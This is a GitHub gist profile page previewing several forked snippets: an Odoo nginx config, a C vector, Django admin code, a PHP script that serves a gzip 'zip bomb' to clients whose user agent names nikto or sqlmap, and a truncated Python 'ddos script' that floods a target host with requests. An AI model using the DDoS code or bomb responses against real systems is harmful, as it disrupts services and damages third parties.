Skip to content

Instantly share code, notes, and snippets.

View Ph0enixxx's full-sized avatar
😈
On fighting

Mikoyan Ph0enixxx

😈
On fighting
  • Independent
  • Shen Zhen, China
  • 13:43 (UTC +08:00)
View GitHub Profile
@Ph0enixxx
Ph0enixxx / bomb.php
Created February 8, 2023 04:19 — forked from fffaraz/bomb.php
How to defend your website with ZIP bombs
<?php
// https://blog.haschek.at/2017/how-to-defend-your-website-with-zip-bombs.html
// dd if=/dev/zero bs=1M count=10240 | gzip > 10G.gzip
$agent = lower($_SERVER['HTTP_USER_AGENT']);
//check for nikto, sql map or "bad" subfolders which only exist on wordpress
if (strpos($agent, 'nikto') !== false || strpos($agent, 'sqlmap') !== false || startswith($url,'wp-') || startswith($url,'wordpress') || startswith($url,'wp/'))
{
sendBomb();
@Ph0enixxx
Ph0enixxx / odoo-nginx.conf
Created January 6, 2018 06:38 — forked from mga-odoo/odoo-nginx.conf
Odoo Proxy Server Configuration on Nginx
upstream odoo-server {
server 0.0.0.0:8069;
}
upstream odoo-server-im {
server 0.0.0.0:8072 weight=1 fail_timeout=0;
}
server {
@Ph0enixxx
Ph0enixxx / vector.c
Created December 26, 2017 06:15
Simple vector-implementation in C
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "vector.h"
void vector_init(vector *v)
{
v->data = NULL;
v->size = 0;
@Ph0enixxx
Ph0enixxx / admin.py
Created November 28, 2017 11:37 — forked from cansadadeserfeliz/admin.py
Django: how to remove delete action/button from admin
class MyAdmin(admin.ModelAdmin):
def has_delete_permission(self, request, obj=None):
return False
def get_actions(self, request):
actions = super(MyAdmin, self).get_actions(request)
if 'delete_selected' in actions:
del actions['delete_selected']
return actions
@Ph0enixxx
Ph0enixxx / ddos.py
Created July 8, 2016 02:04 — forked from tinnguyenz/ddos.py
Python ddos script
import socket, sys, os
print "][ Attacking " + sys.argv[1] + " ... ]["
print "injecting " + sys.argv[2];
def attack():
#pid = os.fork()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 80))
print ">> GET /" + sys.argv[2] + " HTTP/1.1"
s.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n")
s.send("Host: " + sys.argv[1] + "\r\n\r\n");